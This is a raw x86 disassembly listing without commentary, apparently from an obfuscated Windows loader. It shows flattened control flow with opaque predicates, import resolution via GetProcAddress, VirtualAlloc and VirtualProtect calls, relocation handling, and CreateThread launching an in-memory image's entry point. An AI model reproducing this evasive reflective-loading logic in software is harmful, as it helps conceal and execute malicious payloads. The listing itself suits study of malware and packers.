mov eax, dword [eax]
mov ecx, dword [ebp - 0x8c]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x40]
mov edx, dword [edx]
add eax, dword [ecx + edx*4]
mov ecx, dword [ebp - 0x90]
mov dword [ecx], eax
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x8c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x40]
mov ecx, dword [ecx]
mov eax, dword [eax + ecx*4]
mov ecx, eax
xor ecx, 0xffff0000
and ecx, eax
mov eax, dword [ebp - 0x54]
push ecx
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x5c]
mov dword [ecx], eax
mov ecx, 0x3e2ee8f4
mov eax, dword [ebp - 0x5c]
cmp dword [eax], 0
mov eax, 0x5f2e143b
cmove eax, ecx
jmp 0x401c00
mov eax, dword [ebp - 0x12c]
mov eax, 0x2baf9bd6
jmp 0x401c00
mov eax, dword [ebp - 0x1c0]
mov ecx, dword [ebp - 0x30]
inc eax
mov dword [ecx], eax
mov eax, 0xf8d4a044
jmp 0x401c00
mov edx, dword [0x5f3410]
mov eax, dword [0x5f340c]
mov edi, 0x33d90750
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0xb88f1602
cmovne edx, edi
cmp ecx, 0xffffffff
mov ecx, edx
cmove ecx, edi
cmp eax, 0xa
cmovge ecx, edx
mov eax, ecx
jmp 0x401c00
mov edx, dword [0x5f3410]
mov eax, dword [0x5f340c]
mov edi, 0x681342fb
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0xfa63c129
cmovne edi, ebx
test edx, ecx
mov ecx, edi
cmove ecx, ebx
cmp eax, 0xa
mov eax, dword [ebp - 0x50]
jmp 0x405ab7
push dword [ebp - 0x11c]
push dword [ebp - 0x120]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x5c]
mov ebx, 0x7685dd66
mov edi, 0x39196949
mov dword [ecx], eax
mov eax, dword [0x5f3410]
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x39196949
jmp 0x405c5f
mov eax, dword [ebp - 0x3c]
mov ebx, 0x35b512e
mov edi, 0xb5baf629
mov eax, dword [eax]
mov dword [ebp - 0x104], eax
mov eax, dword [0x5f3410]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0xb5baf629
jmp 0x405c5f
mov eax, 0x86f147f8
jmp 0x401c00
cmp byte [ebp - 0x77], 0
mov eax, 0x9ea1ccdf
mov ecx, 0x386c776f
cmovne eax, ecx
jmp 0x401c00
mov eax, dword [ebp - 0x68]
mov eax, dword [eax]
mov dword [ebp - 0x198], eax
mov eax, 0x796096d1
jmp 0x401c00
mov eax, 0x9e8b9b47
jmp 0x401c00
mov eax, dword [ebp - 0x34]
mov eax, dword [eax]
mov dword [ebp - 0xf8], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
add eax, 4
mov dword [ebp - 0xfc], eax
mov eax, 0x86c82764
jmp 0x401c00
mov edx, dword [0x5f3410]
mov ecx, dword [0x5f340c]
mov edi, 0x4872ba3f
lea eax, [edx - 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x94a5c25c
cmovne edx, edi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, edi
cmp ecx, 0xa
cmovge eax, edx
jmp 0x401c00
mov eax, dword [ebp - 0x60]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xb0]
vmovsd xmm0, qword [eax]
vmovsd qword [ecx], xmm0
mov eax, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0x60]
mov ecx, dword [ecx]
mov dword [ecx + 4], eax
push dword [ebp - 0x9c]
vzeroupper
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebp - 0x60]
add eax, eax
mov ecx, dword [ecx]
mov word [ecx], ax
mov eax, 0x1b757740
jmp 0x401c00
mov eax, dword [0x5f3410]
mov ebx, 0xfcfeccd4
mov edi, 0x578ac121
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x578ac121
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
cmove eax, ebx
cmp dword [0x5f340c], 0xa
setl dl
cmovge eax, edi
xor dl, cl
cmovne eax, ebx
jmp 0x401c00
mov eax, 0xcd6f926b
jmp 0x401c00
push 4
push 0x3000
push dword [ebp - 0xec]
push dword [ebp - 0x130]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebp - 0x1c]
mov edi, 0x8be5e181
mov dword [ecx], eax
mov edx, dword [0x5f3410]
mov ecx, dword [0x5f340c]
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xff90ce5d
cmovne edx, edi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, edi
mov edi, dword [ebp - 0x38]
cmp ecx, 0xa
cmovge eax, edx
cmp dword [edi + 4], 0
sete byte [ebp - 0x78]
jmp 0x401c00
mov eax, dword [ebp - 0x8c]
mov eax, 0xf3587eb0
jmp 0x401c00
mov eax, 0x69b3ea67
jmp 0x401c00
mov eax, 0x366df885
jmp 0x401c00
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x20]
mov ecx, dword [ecx]
add eax, dword [ecx + 0x28]
push 0
push 0
push 0
push eax
push 0
push 0
vzeroupper
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0x70]
mov edi, 0xd079e16d
mov ebx, 0x1e8fd24d
mov dword [ecx], eax
mov eax, dword [ebp - 0x6c]
cmp byte [eax], 0
mov eax, dword [0x5f3410]
lea ecx, [eax + 1]
setne byte [ebp - 0x83]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x1e8fd24d
jmp 0x401be2
mov eax, dword [ebp - 0x30]
mov eax, 0xee580024
jmp 0x401c00
mov eax, dword [ebp - 0x24]
mov eax, dword [0x5f3410]
mov edi, 0x362ea8f7
mov ebx, 0xe7c47a77
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0xe7c47a77
jmp 0x401be2
mov edx, dword [0x5f3410]
mov ecx, dword [0x5f340c]
mov edi, 0xda3c7dda
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x95f098d3
cmovne edi, ebx
test edx, eax
mov eax, edi
cmove eax, ebx
cmp ecx, 0xa
cmovge eax, edi
jmp 0x401c00
mov eax, dword [ebp - 0x24]
mov eax, 0x33d90750
jmp 0x401c00
mov eax, dword [ebp - 0x10c]
mov ecx, dword [ebp - 0x50]
mov edi, 0x5a93089c
mov dword [ecx], eax
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov dword [eax], 0
mov edx, dword [0x5f3410]
mov eax, dword [0x5f340c]
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0xb6755a9
cmovne edi, ebx
test edx, ecx
mov ecx, edi
cmove ecx, ebx
cmp eax, 0xa
cmovge ecx, edi
mov eax, ecx
jmp 0x401c00
mov eax, 0xbd97f9db
jmp 0x401c00
mov eax, 0x316c77ea
jmp 0x401c00
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
mov eax, 0x106a53a1
jmp 0x401c00
mov eax, 0xfead6165
jmp 0x401c00
cmp dword [ebp - 0x1b0], 0
mov eax, 0xc95d7274
mov ecx, 0x75fcee4b
cmove eax, ecx
jmp 0x401c00
mov edx, dword [0x5f3410]
mov eax, dword [0x5f340c]
mov edi, 0x37c6291e
lea ecx, [edx - 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x2d1e7a66
cmovne edx, edi
cmp ecx, 0xffffffff
mov ecx, edx
cmove ecx, edi
cmp eax, 0xa
mov eax, dword [ebp - 0x104]
cmovge ecx, edx
add eax, 2
mov dword [ebp - 0x108], eax
mov eax, ecx
jmp 0x401c00
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov dword [eax], 0x40
mov eax, 0xdc35445b
jmp 0x401c00
mov eax, dword [ebp - 0x28]
mov dword [eax], 0x10
mov eax, 0x249cd17b
jmp 0x401c00
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x118]
mov eax, 0xe7db9b13
jmp 0x401c00
mov eax, 0x321c6ec
jmp 0x401c00
mov eax, 0x316c77ea
jmp 0x401c00
mov eax, 0x84301c7f
jmp 0x401c00
mov eax, dword [ebp - 0x18c]
movzx eax, word [eax]
shr eax, 0xc
mov dword [ebp - 0xd4], eax
mov eax, 0x3c6f3cfd
jmp 0x401c00
mov edx, dword [0x5f3410]
mov ecx, dword [0x5f340c]
mov edi, 0xa4f31f4f
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x778993ef
cmovne edx, edi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, edi
cmp ecx, 0xa
mov ecx, dword [ebp - 0x38]
cmovge eax, edx
mov ecx, dword [ecx + 4]
mov dword [ebp - 0x178], ecx
jmp 0x401c00
mov eax, dword [ebp - 0x28]
mov dword [eax], 7
mov eax, 0xc5c446db
jmp 0x401c00
mov eax, dword [ebp - 0x90]
mov eax, dword [0x5f3410]
mov ebx, 0x2f79c157
mov edi, 0x5583fc9a
lea ecx, [eax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x5583fc9a
sete al
cmove ecx, ebx
cmp dword [0x5f340c], 0xa
setl dl
cmovge ecx, edi
xor dl, al
cmovne ecx, ebx
mov eax, ecx
jmp 0x401c00
movzx ecx, byte [ebp - 0x75]
movzx eax, byte [ebp - 0x76]
mov edi, 0x2b217fd7
mov edx, ecx
xor dl, al
mov edx, 0x86c9fc92
cmovne edx, edi
test al, al
mov eax, edx
cmovne eax, edi
test cl, cl
cmove eax, edx
jmp 0x401c00
mov dword [ebp - 0x14], edi
push dword [ebp - 0x14]
push edx
push eax
push ecx
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x44]
mov eax, 0x286d4447
jmp 0x401c00
cmp eax, 0x23bf77f1
jne 0x401c00
mov esi, dword [ebp - 0x1ec]
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
vzeroupper
call fcn.0043b0d0
mov eax, esi
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret